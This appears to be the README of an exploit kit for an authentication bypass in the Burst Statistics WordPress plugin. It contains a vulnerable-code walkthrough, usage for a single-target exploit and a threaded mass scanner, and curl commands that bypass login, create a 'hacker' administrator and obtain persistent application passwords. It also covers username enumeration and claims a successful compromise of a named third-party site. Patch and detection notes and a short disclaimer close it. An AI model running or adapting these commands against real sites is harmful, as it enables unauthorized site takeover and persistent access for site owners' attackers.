| 项目 | 详情 |
|---|---|
| CVE ID | CVE-2026-8181 |
| 插件 | Burst Statistics – 注重隐私的 WordPress 统计插件 |
| 受影响版本 | 3.4.0 – 3.4.1.1 |
| 已修补版本 | 3.4.2 |
| CVSS 分数 | 9.8 (严重) |
| 类型 | CWE-287: 身份验证不当 |
| 攻击向量 | 网络 / 远程 / 未认证 |
| 活跃安装量 | ~200,000+ |
| 发现者 | PRISM, Wordfence Threat Intelligence |
| 发布日期 | 2026年5月8日 |
WordPress 插件 Burst Statistics 3.4.0 至 3.4.1.1 版本中存在一个严重的认证绕过漏洞,攻击者无需认证,仅凭知晓管理员用户名即可获得 WordPress 的完全管理员访问权限。其后果是完整接管管理员账户,包括创建新账户、修改内容乃至安装恶意插件。
漏洞位于 includes/Frontend/class-mainwp-proxy.php 文件中的 is_mainwp_authenticated() 方法:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
主要 Bug: 当 Application Passwords 不可用时,wp_authenticate_application_password(null, $username, $password) 返回 null(而非 WP_Error)。这种情况发生在:
wp_is_application_passwords_available() 返回 falseis_ssl() 返回 false 的站点由于 is_wp_error(null) = false,代码会继续执行 get_user_by('login', $username),该调用仅基于用户名进行认证,完全不验证密码。
has_admin_access() 方法在 class-burst.php 第 118 行的 plugins_loaded 钩子(优先级 9)中被调用:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
该钩子先于 REST API 路由处理执行,因此 wp_set_current_user() 会为整个请求授予管理员权限——而不仅限于 Burst 端点。
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
交互模式:
.txt,每行一个域名)targets.txt 格式:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
测试在 WordPress 6.9 + Burst Statistics 3.4.1.1(localhost)环境下进行:
| 目标 | 结果 |
|---|---|
ausdermitte-binz.de | 已成功攻破 — Burst 3.4.1.1,通过 binzwpadmin 绕过,创建账户 xenon1337(ID:30) |
3.4.2 版本的修复解决了以下问题:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option() 强制执行一次性使用wp_application_passwords 用户元数据)X-BURSTMAINWP: 1 头的请求wp_users 表是否出现新的管理员账户wp_options 中的 burst_mainwp_app_token_* transient 值| 文件 | 描述 |
|---|---|
exploit_CVE-2026-8181.py | 单目标 PoC 利用脚本 |
poc_CVE-2026-8181.py | 基于线程的多目标批量扫描器 |
README.md | 本文档 |
本工具及文档仅供经明确授权的合法安全测试使用。未经授权使用不属于您的系统,或未经书面许可的使用,均属非法。作者对任何滥用行为不承担任何责任。
| 测试 | 结果 | 证据 |
|---|
未认证访问 /wp/v2/users/me | 失败 | rest_not_logged_in |
| 使用绕过 headers 访问 | 成功 | 管理员个人资料 + 邮箱 + 角色 |
| 创建新的管理员账户 | 成功 | 用户 ID 2,角色:administrator |
| 读取 WordPress 设置 | 成功 | 站点标题、管理员邮箱、URL |
| 获取应用程序密码 | 成功 | Base64 令牌 admin:password |
| 列出已安装插件 | 成功 | 含版本的完整列表 |